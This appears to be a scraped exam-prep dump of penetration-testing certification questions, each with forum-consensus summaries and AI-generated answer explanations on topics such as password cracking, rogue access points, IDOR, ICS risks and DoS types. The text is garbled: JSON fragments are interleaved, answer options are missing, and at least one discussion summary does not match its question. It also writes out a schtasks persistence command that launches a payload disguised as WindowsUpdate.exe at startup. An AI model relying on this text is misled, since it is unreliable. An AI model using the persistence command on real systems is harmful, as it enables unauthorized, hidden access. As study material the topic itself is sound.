![](\"topic_1_question_65/image_0.png\"/)
Which of the following elements is MOST likely to contain useful information for the penetration tester?
\n
Agreed with Suggested Answer From the internet discussion, the conclusion of the answer to this question is that the vulnerabilities and their corresponding remediation techniques are as follows: Command Injection with input sanitization of special characters, DOM XSS with input sanitization of HTML tags, Local File Inclusion with sandbox requirements, Reflected XSS with input sanitization of HTML tags, Command Injection with sandbox requirements, URL redirect with the prevention of external calls, SQL Injection (Stacked) with parameterized queries, SQLi union with parameterized queries, SQLi error with parameterized queries, and Remote File Inclusion with sandbox requirements. The comments generally agree on this approach, highlighting the need for specific input sanitization and parameterized queries to prevent the identified vulnerabilities.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion summary, the AI agrees with the suggested answer.
\nReasoning: The question presents a scenario where a security analyst needs to harden a web server against various HTTP payload attacks. The suggested answer correctly identifies common web application vulnerabilities and pairs them with appropriate remediation techniques. The core principle behind the remediations is to prevent malicious code from being executed or data from being exposed due to crafted HTTP requests. The suggested remediations are industry best practices.\n
\n\nHere's a breakdown of why each remediation is appropriate for the corresponding attack:\n\n
\nThe specific pairings of vulnerabilities and remediations are as follows:\n
\n\nThese combinations effectively mitigate the identified vulnerabilities by preventing malicious input from being interpreted as code and restricting access to sensitive resources.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs the unshadow command on a machine.
Which of the following tools will the tester most likely use NEXT?
\n
From the internet discussion, the conclusion of the answer to this question is A. John the Ripper, which the reason is that the unshadow command is used to combine /etc/passwd and /etc/shadow files, creating a file that can be used to crack passwords, and John the Ripper is a popular password cracking tool that can use the unshadowed file. Other tools like Hydra, Mimikatz and Cain and Abel are also password cracking tools but not typically used after running the unshadow command.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A. John the Ripper.
\nReasoning: The unshadow command combines the password and shadow files. The primary purpose of doing this is to prepare the data for offline password cracking.
\nJohn the Ripper is a well-known password cracking tool that can utilize the combined password file produced by unshadow to attempt to crack the passwords. This is the most logical next step in a penetration test after using unshadow.
\nWhy other options are incorrect:\n
unshadow creates a file for offline cracking, making Hydra less relevant immediately after running unshadow.unshadow.unshadow.\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester obtained the following results after scanning a web server using the dirb utility:
Which of the following elements is MOST likely to contain useful information for the penetration tester?
\n
Agree with Suggested Answer B. From the internet discussion, the conclusion of the answer to this question is B. about.html, which the reason is the size of the file (1520), which likely contains more information than the others (214) . Some comments also added that about pages can contain useful company information. One comment suggested \"info\", but it's considered a less common name. While another comment suggests index.html, but the main reason is based on file size.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer B (about).
\nThe reasoning behind selecting 'about' is primarily based on the file size (1520) as indicated in the dirb output, suggesting it likely contains more detailed information compared to 'index.html', 'info', and 'home.html' which have sizes of only 214. About pages commonly include details about the company, its mission, and its team, which can be valuable for a penetration tester gathering information.
\nThe other options are less likely to contain as much useful information:\n
\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company has hired a penetration tester to deploy and set up a rogue access point on the network.
Which of the following is the BEST tool to use to accomplish this goal?
\n
\n
\n The AI agrees with the suggested answer, B. Aircrack-ng.
\nReasoning: Aircrack-ng is a suite of tools specifically designed for assessing WiFi network security. It includes the tool airbase-ng, which can be used to set up a rogue access point. Setting up a rogue access point is a common task during penetration testing to assess the network's vulnerability to man-in-the-middle attacks.
\nReasons for not choosing other options:\n
\n The choice of Aircrack-ng is appropriate as it directly addresses the question's requirement to deploy and set up a rogue access point.\n
\nSuggested Answer: B. Aircrack-ng
\nReason: Aircrack-ng is the most suitable tool for setting up a rogue access point due to its airbase-ng utility.
\nReason for not choosing other answers: Wireshark is for packet analysis, Kismet is for network detection, and Wifite is an automated attack tool, none of which are primarily designed for setting up rogue access points.
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop.
Which of the following can be used to ensure the tester is able to maintain access to the system?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is the schtasks command is used for scheduling tasks in Windows and the question mentioned Windows. The alternative, crontab, is used in Linux, which makes it not the correct answer for Windows. This opinion received the most agreement from the internet.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A.
\nThe question requires a method to maintain access to a Windows workstation.
\nThe correct answer is: schtasks /create /sc /ONSTART /tr C:\\Temp|WindowsUpdate.exe.
\nReasoning:
\nThis command creates a scheduled task using the `schtasks` utility in Windows. The `/create` flag indicates that a new task is being created. `/sc ONSTART` specifies that the task should be triggered when the system starts. `/tr C:\\Temp|WindowsUpdate.exe` defines the action to be taken when the task is triggered, which is to execute `C:\\Temp|WindowsUpdate.exe`. This command will ensure that the specified executable runs every time the system starts, thus maintaining access.
\nWhy other options are incorrect:\n
\n
\nCitations:\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet.
Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?
\n
From the internet discussion, the consensus answer to this question is C. Controllers will not validate the origin of commands, which the reason is that many legacy industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems lack basic security features such as authentication and access controls, thus they are vulnerable to attacks like command injection. Option A and D are considered invalid assumptions because PLCs can act upon commands injected over the network and supervisory systems can detect malicious injection of code/commands if properly configured. Option B is also considered invalid as it is not a common practice to separate supervisory systems and PLCs.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is C. Controllers will not validate the origin of commands.
\nReasoning:
\nThe question highlights a scenario where supervisory systems and PLCs (Programmable Logic Controllers) are connected to the company intranet. Given this context, the most likely valid assumption a penetration testing team could make relates to the security vulnerabilities inherent in many industrial control systems (ICS) and SCADA (Supervisory Control and Data Acquisition) environments. Historically, security has not been a primary design consideration for these systems. As a result, many legacy systems lack robust authentication and access controls. This lack of validation opens the door to command injection attacks, where malicious actors can send commands to the controllers, potentially causing disruption or damage.
\nWhy other options are less likely:
\n
\nTherefore, considering the security weaknesses commonly associated with ICS/SCADA systems and the scenario presented, the assumption that controllers will not validate the origin of commands (Option C) is the most likely to be valid.\n
"}, {"folder_name": "topic_1_question_69", "topic": "1", "question_num": "69", "question": "A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:![](\"topic_1_question_69/image_0.png\"/)
Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?
\n
From the internet discussion, the consensus answer to this question is D. The commenters agree that capturing and analyzing network traffic using a tool like Wireshark is the first step to validate if a Java application uses encryption over sockets. This method allows inspection of packets to determine if data is sent in plaintext or encrypted without modifying the application. One comment also suggests that after the first step, using a debugger to determine the location of the encryption code is the next step.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer D.
\nThe most direct way to validate whether a Java application uses encryption over sockets is to capture and analyze the network traffic it generates. This approach allows you to observe whether the data transmitted is in plaintext or encrypted without needing to modify or deeply analyze the application's code. Running the application and capturing the network traffic with Wireshark allows you to inspect the packets and determine if encryption is being used.
\nHere's a breakdown of why option D is the best approach and why the others are less suitable:\n
\nReasoning for Choosing D:
\nWireshark allows for direct observation of network traffic, which can quickly confirm whether the data transmitted is encrypted. This approach requires no modification of the application and offers immediate, observable results.
\nReasoning for Not Choosing A, B, or C:
\nOptions A, B, and C are less direct and more time-consuming. They may provide indirect evidence of encryption but don't offer the immediate confirmation that packet capture provides. Disassembling the binary (Option C) is complex and requires specialized skills.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhen planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:
\n
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D, which the reason is testing can impact the business and network because the tools used for vulnerability scanning can increase the bandwidth on the network causing the network to be slow or crash the target system been tested which could cause denial of service.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D. business and network operations may be impacted.
\nReasoning: Penetration testing, especially when involving active scanning and exploitation, can consume significant network bandwidth and system resources. Performing these activities during peak business hours can lead to degraded performance for legitimate users, potentially disrupting critical business functions and affecting network stability. Specifying the optimal time for testing helps minimize these disruptions.
\nReasons for not choosing the other options:\n
Therefore, option D is the most direct and relevant answer to the question.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?
\n
From the internet discussion, the consensus of the answer to this question is D. The reasoning provided is that since the network bandwidth is shared on a dedicated server, excessive web requests could overwhelm the server, leading to a denial-of-service for other clients. This conclusion is based on the shared nature of the network resources and the potential for one client's activity to impact others hosted on the same server.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of D.
\nReasoning: The scenario explicitly states that the company's contract with the cloud provider prohibits activities that interfere with other customers. Sending a high volume of web requests per second to test DDoS protection is essentially simulating a DDoS attack. In a shared network environment, this action could consume a significant portion of the available bandwidth, thus impacting the performance and availability of services for other customers sharing the same network infrastructure. This directly violates the contractual agreement.
\nReasons for not choosing other answers:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)
\n
Agree with Suggested Answer From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is AB, which the reason is because comments agree that a penetration tester should remove the spawned shells and created user accounts to prevent unauthorized access to the system after the test. Other options such as server logs, administrator accounts, and rebooting the system are important but are not related to covering tracks, so they are not the correct answers. Also, removing any tools that were installed on the customer’s systems is very important as well.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of AB.
\nReasoning: During the cleanup phase of a penetration test, it is crucial to remove any traces of the tester's presence to prevent potential exploitation by malicious actors. Spawned shells and created user accounts are direct artifacts of the penetration test that could be leveraged for unauthorized access if left behind. Therefore, these must be removed.
\nExplanation of Correct Answers:\n
\nCitations:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?
\n
From the internet discussion, the consensus answer to this question is C. Buffer overflows. The comments agree that fuzzing is a technique used to identify vulnerabilities in software by providing unexpected or invalid input, and buffer overflows are a type of vulnerability commonly identified through fuzzing. Other potential vulnerabilities like weak authentication schemes, credentials stored in strings, and non-optimized resource management are also important security issues, but not directly related to fuzzing.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer C (Buffer overflows).
\nReasoning: Fuzzing is a software testing technique that involves providing invalid, unexpected, or random data as input to a program. Its primary goal is to identify vulnerabilities and weaknesses in the software, particularly those related to input handling and data processing. Buffer overflows are a common class of vulnerabilities that occur when a program attempts to write data beyond the allocated buffer size, which can lead to crashes, unexpected behavior, or even arbitrary code execution. Fuzzing is particularly effective at uncovering buffer overflows because it can systematically test a wide range of inputs, including those that might trigger these vulnerabilities. \n
\nReasons for not choosing the other answers:\n
\nIn summary, while other vulnerabilities are important, buffer overflows are the MOST likely to be identified through fuzzing.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has prepared the following phishing email for an upcoming penetration test:![](\"topic_1_question_74/image_0.png\"/)
Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B, which the reason is \"before the end of the month\" indicates urgency, and \"Human Resources\" signifies authority.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer B (Authority and urgency).
\nReasoning: The email leverages both authority and urgency to entice the recipient to click the link. \"Human Resources\" represents an authority figure within the company, making the request seem legitimate. The phrase \"before the end of the month\" creates a sense of urgency, pressuring the recipient to act quickly without thinking critically.
\nWhy other options are incorrect:\n
Therefore, the most influential factors are authority (Human Resources) and urgency (the deadline).
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?
\n
Agree with Suggested Answer From the internet discussion from Q2 2022 to Q2 2024, the conclusion of the answer to this question is C. Direct object reference, which the reason is the scenario describes a tester changing values in a URL (e.g., changing an ID) to access unauthorized resources. This directly indicates a lack of proper access controls, which is the core of a direct object reference vulnerability. Some comments also highlighted that this vulnerability is also known as Insecure Direct Object References (IDOR), and the vulnerability arises because the application provides direct access to objects based on user-supplied input.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer C: Direct object reference.
\n
\nReasoning: The scenario describes a penetration tester successfully accessing a web application by manipulating the 'id' parameter in the URL (e.g., changing `example.com/login.php?id=5` to `example.com/login.php?id=10`). This action allows the tester to bypass expected authorization controls and gain access to resources or data they should not have access to. This is the hallmark of a Direct Object Reference vulnerability, also known as Insecure Direct Object References (IDOR). IDOR vulnerabilities occur when an application uses direct references to internal implementation objects, and a lack of access control allows an attacker to manipulate these references to access other objects without authorization.\n
\n
\nReasons for excluding other options:\n
\nTherefore, the most appropriate answer is C. Direct object reference.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following situations would MOST likely warrant revalidation of a previous security assessment?
\n
Agree with Suggested Answer. From the internet discussion, including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is A. After detection of a breach, which the reason is the detection of a security breach indicates that the current security measures in place have failed, and a revalidation of the previous security assessment would be necessary to identify any additional vulnerabilities and to ensure that the organization's security measures are adequate to prevent future breaches. Some commenters suggest that other options like B after a merger or acquisition might necessitate a completely new assessment. Some agree on D, but A is a more immediate trigger and highlights active security issues.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer: A. After detection of a breach.
\n
\nReasoning:
\nA security breach indicates a failure in the existing security measures and validates the need to reassess vulnerabilities and security implementations. This is a critical time to understand how the breach occurred and reinforce defenses.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester gains access to a system and is able to migrate to a user process:![](\"topic_1_question_77/image_0.png\"/)
Given the output above, which of the following actions is the penetration tester performing? (Choose two.)
\n
Based on the internet discussion from Q2 2022 to Q4 2024, the consensus answer is CD. The comments agree because the commands demonstrate the penetration tester is both mapping a share to a remote system using \"net use\" and executing a file on the remote system by copying a file and then executing it using \"wmic.exe\".
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the provided information and the discussion summary, the AI agrees with the suggested answer of C and D.
\n
\nReasoning:
\nThe output shows the use of the command `net use` which is explicitly used for mapping a network share to a drive letter. Following that, `wmic.exe` is used to execute a process on the remote system. Therefore, the penetration tester is mapping a share to a remote system and then executing a file on the remote system.
\n
\n* `net use` maps network shares.
\n* `wmic.exe` can execute commands on remote machines.\n
\n
\nReasons for not selecting other options:
\n* **A. Redirecting output from a file to a remote system:** The commands shown don't directly demonstrate output redirection.
\n* **B. Building a scheduled task for execution:** While WMI can be used for scheduling tasks, the command shown is focused on immediate execution, not scheduling.
\n* **E. Creating a new process on all domain systems:** The commands target a specific remote system, not all domain systems.
\n* **F. Setting up a reverse shell from a remote system:** The commands indicate the attacker is initiating the connection *to* the remote system, not receiving a connection *from* it.
\n* **G. Adding an additional IP address on the compromised system:** There is no evidence of IP address manipulation.\n
\n
\nCitations:\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results:![](\"topic_1_question_78/image_0.png\"/)
The tester then runs the following command from the previous exploited system, which fails:![](\"topic_1_question_78/image_1.png\"/)
Which of the following explains the reason why the command failed?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A. The tester input the incorrect IP address., which the reason is Enter-PSSession uses port 5985 as the default port for WinRM, and the question indicates 5985 is opened on 192.168.10.10, but the tester is trying to connect to 192.168.10.11. Other opinions, such as C, are incorrect because the question is related to PowerShell remoting rather than RDP, and Enter-PSSession doesn't use RDP. The scan shows 3389 (RDP) is open on 192.168.10.11, but the command used is Enter-PSSession which requires 5985 to be opened for WinRM to execute CLI commands.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion, the AI agrees with the suggested answer A.\n
\nThe command failed because the tester used the incorrect IP address. The Nmap scan shows that port 5985 (WinRM) is open on 192.168.10.10, while the `Enter-PSSession` command attempts to connect to 192.168.10.11. PowerShell remoting (using `Enter-PSSession`) relies on WinRM, which defaults to port 5985.\n
\nThe following provides a rationale as to why the other choices are incorrect:\n
\nTherefore, the tester should use `Enter-PSSession -ComputerName 192.168.10.10` for the command to work (assuming appropriate WinRM configuration and credentials are in place).\n
"}, {"folder_name": "topic_1_question_79", "topic": "1", "question_num": "79", "question": "Which of the following assessment methods is MOST likely to cause harm to an ICS environment?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following assessment methods is MOST likely to cause harm to an ICS environment?
\n
The consensus from the internet discussion, spanning from Q2 2024 to Q3 2024, agrees with the answer A. The reason is that active scanning is most likely to cause harm to an ICS environment as it actively sends packets that can disrupt normal system operation, lead to system crashes, errors, or even cause physical damage to the devices. The comments also highlight that other options like ping sweeps, protocol reversing, and packet analysis are considered less harmful because they either do not actively send multiple packets or only analyze existing data.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of A (Active scanning).
\n
\nReasoning:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames.
Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?
\n
Agree with Suggested Answer From the internet discussion, the consensus answer to this question is B. Dump the user address book on the device, which the reason is the core concept of Bluesnarfing involves unauthorized access to a Bluetooth-enabled device to steal data. Several comments explicitly define Bluesnarfing as the act of extracting data, such as address books or contacts, from a device without the owner's permission. Other options such as sniffing WiFi, breaking Bluetooth connection, and transmitting text messages are not Bluesnarfing attacks.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI assistant agrees with the suggested answer, which is B. Dump the user address book on the device.
\nReasoning: Bluesnarfing is specifically an attack that exploits Bluetooth connections to gain unauthorized access to data on a device, such as the user's address book, calendar, or other personal information. This aligns directly with the definition and purpose of a Bluesnarfing attack.
\nReasons for not choosing the other options:\n
\nTherefore, option B is the most accurate example of a Bluesnarfing attack.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tPenetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?
\n
Agree with Suggested Answer: C. Attestation of findings and delivery of the report From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is Attestation of findings and delivery of the report, which the reason is it is the next logical step after the initial findings have been reviewed with the client. This involves formalizing the findings into a detailed report, ensuring the accuracy and integrity of the report, and delivering it to the client for understanding and appropriate action. Other answers like client acceptance is not correct, because client acceptance typically comes after the report delivery and after attestation and sign-off. Scheduling follow-up actions and retesting may occur later in the process.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on professional knowledge and the provided context, the AI agrees with the suggested answer C, Attestation of findings and delivery of the report.
\n
\nReasoning: The question specifies that penetration-testing activities have concluded, and initial findings have been reviewed with the client. The 'NEXT' step emphasizes sequential order. After the review of initial findings, the logical next step is to formalize those findings into a comprehensive report, attest to its accuracy and deliver it to the client. This allows the client to have a formal record of the vulnerabilities and risks identified during the penetration test.
\n
\nReasons for not choosing other answers:\n
\nIn summary, attestation and delivery of the report are the most logical 'NEXT' step following the review of initial findings with the client.\n
"}, {"folder_name": "topic_1_question_82", "topic": "1", "question_num": "82", "question": "A penetration tester discovers a web server that is within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovers a web server that is within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Inform the customer immediately about the backdoor, which the reason is that it is crucial to notify the customer as soon as possible so they can take immediate steps to mitigate the risk. Other answers like A are incorrect because forensic acquisition and attribution can be performed after informing the customer, and B is incorrect because it violates security policies and potentially the law. Option C, is incorrect because informing the customer should take priority over continuing the engagement.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, D: Inform the customer immediately about the backdoor.
\nReasoning: The immediate discovery of a backdoor on a web server within the engagement's scope represents a critical security risk. The penetration tester's priority should be to immediately inform the customer so they can take immediate steps to mitigate the risk.
\nThis approach aligns with ethical hacking principles and prioritizes the client's security. Delaying notification could allow the attacker to further compromise the system or exfiltrate data. Prompt notification enables the client to initiate incident response procedures, patch vulnerabilities, and take other necessary steps to secure their environment.
\nReasons for not choosing other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following would a company's hunt team be MOST interested in seeing in a final report?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B - Attack Tactics, Techniques, and Procedures (TTPs), which the reason is the threat hunting team needs the TTPs identified during the penetration test in the final report to understand potential attack vectors and improve their threat detection and incident response capabilities. Some comments also explicitly stated that the hunt team is only interested in the Attack TTPs. One user suggested that C is correct but there is no reason to support it.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is B (Attack TTPs), and the AI agrees with this suggestion.
\nThe primary reason for this choice is that a hunt team is most interested in understanding the specific tactics, techniques, and procedures (TTPs) used by attackers. This information is crucial for improving threat detection and incident response capabilities. By analyzing the TTPs, the hunt team can develop specific strategies and tools to identify and mitigate similar attacks in the future.
\n Here's a breakdown of why the other options are less suitable:\n
\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades- old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?
\n
From the internet discussion, which spanned from Q2 2022 to Q1 2025, the conclusion of the answer to this question is D. The type of scan, which the reason is the type of scan (e.g., aggressive, stealth, non-intrusive) can significantly impact network systems and aggressive scans are more disruptive to older systems, therefore, a non-intrusive scan should be chosen. Several comments support this answer because they emphasize the importance of protecting legacy systems from potential crashes or disruptions. Other opinions include B. Bandwidth limitations, which are less likely to be the primary concern, and C. Inventory of assets and versions as a helpful but not the most critical consideration since the CISO wants to test the security of the new firewall, not the vulnerability of the legacy systems.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nAfter reviewing the question and discussion, the AI recommends answer D. The type of scan.
\nReasoning: The question emphasizes the presence of \"many decades-old legacy systems.\" Legacy systems are often fragile and highly susceptible to disruptions from network scans. The type of scan selected has a direct impact on the level of intrusion and potential for disruption. An aggressive scan could easily crash these older systems, while a more stealthy or non-intrusive scan would be more appropriate to avoid causing downtime or data loss.
\nOther factors such as bandwidth limitations, asset inventory, and scan timing are relevant, but not the most critical consideration when dealing with legacy systems. The primary concern is to avoid disrupting these systems while assessing the firewall's effectiveness.
\nWhy other options are less suitable:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?
\n
Agree with the suggested answer. From the internet discussion, the conclusion of the answer to this question is B. Metasploit, which the reason is that Metasploit is a widely used exploitation framework that provides a large number of payload modules that can target a broad range of system types. It is designed to be used by penetration testers to exploit vulnerabilities and gain access to systems. It supports a wide range of payloads and exploits, including Windows, Linux, and MacOS systems, as well as mobile devices and IoT devices.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer.
\n The recommended answer is B. Metasploit.
\nMetasploit is the most appropriate choice because it is a comprehensive exploitation framework with a vast library of payload modules designed to target a wide range of systems. It includes tools for vulnerability scanning, exploit development, and payload delivery, making it suitable for various target system types, including Windows, Linux, MacOS, mobile, and IoT devices.
\n The other options are less suitable because:\n
\n Therefore, Metasploit is the best choice due to its extensive range of payloads and exploits that can target different operating systems, devices, and applications.\n
\n\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is Scapy, which the reason is that Scapy is a powerful packet manipulation tool that allows users to craft, send, and receive custom TCP packets, including manipulating TCP headers and observing responses. Some comments mentioned that hping3 could be considered, but Scapy is better suited for the programmatic manipulation required by the question. Some comments also noted Scapy can both send and receive packets, which supports the conclusion.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe question asks which tool allows a security professional to easily and programmatically manipulate TCP header fields (length, checksum) and observe the response from a proprietary service.
\n
\nThe suggested answer is C (Scapy), and the AI agrees with this suggestion.
\n
\nReasoning:
\nScapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It's designed to allow users to programmatically craft packets, send them, and analyze the responses. This makes it ideal for testing network devices and services with malformed or unusual packets.
\n
\nWhy other options are not as suitable:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?
\n
From the internet discussion, which includes from Q2 2021 to Q1 2025, the conclusion of the answer to this question is E, which the reason is because a pentester's role is not to stop an attack or remove malware.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of E. The immediate next step for a penetration tester, upon discovering an existing compromise with malware, should be to halt the assessment and notify the designated emergency contact. This is because the engagement's scope is to identify vulnerabilities, not to remediate active breaches.
\n
\nHere's a detailed breakdown:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?
\n
Agree with Suggested Answer From the internet discussion, including from Q2 2022 to Q3 2024, the conclusion of the answer to this question is C. Fraggle, which the reason is Fraggle attacks utilize UDP packets, while Smurf, Ping flood, and Ping of Death attacks all use ICMP. Since ICMP is disabled in the scenario, only Fraggle attack would be effective for a denial-of-service attack. Specifically, Fraggle sends UDP packets to a broadcast address with the source address spoofed to that of the victim, and some network devices might still process and respond to UDP traffic, even with ICMP disabled.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, C. Fraggle.
\nReasoning: The question states that ICMP is disabled on the network segment. Therefore, attacks relying on ICMP will be ineffective.\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester writes the following script:![](\"topic_1_question_89/image_0.png\"/)
Which of the following is the tester performing?
\n
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Scanning a network for specific open ports, which the reason is the script uses the command \"nc -zv\" (netcat with -z and -v options).
\n
The suggested answer is correct. The script is performing a port scan.
\nReasoning:
\n The provided script utilizes the `nc` (netcat) command with the `-zv` flags within a loop that iterates through a range of IP addresses and a predefined set of ports. The `nc -zv` command specifically tests for open ports without sending any data. This behavior aligns with the definition of a port scan.
\n
\nSuggested Answer: D. Scanning a network for specific open ports\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?
\n
From the internet discussion, the conclusion of the answer to this question is to OpenVAS (A), which the reason is OpenVAS is a full-featured, open-source vulnerability scanner designed to identify security weaknesses, including vulnerabilities, misconfigurations, and exposed credentials, on networks and systems after port scanning has been completed. Other tools mentioned like OWASP ZAP, Burp Suite, and Drozer are not suitable for this purpose, as they are used for web application security scanning and Android application security testing, respectively.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer, which is A. OpenVAS.
\nReasoning:
\nAfter performing a network scan with Nmap and identifying open ports and associated services, the next logical step in a penetration test is to identify potential vulnerabilities associated with those services. OpenVAS (Open Vulnerability Assessment System) is a comprehensive vulnerability scanner specifically designed for this purpose. It utilizes a large and frequently updated database of vulnerability tests (NVTs) to identify security weaknesses, misconfigurations, and known vulnerabilities on network devices and applications. This makes it an ideal tool for determining if any identified open ports have associated exploits.
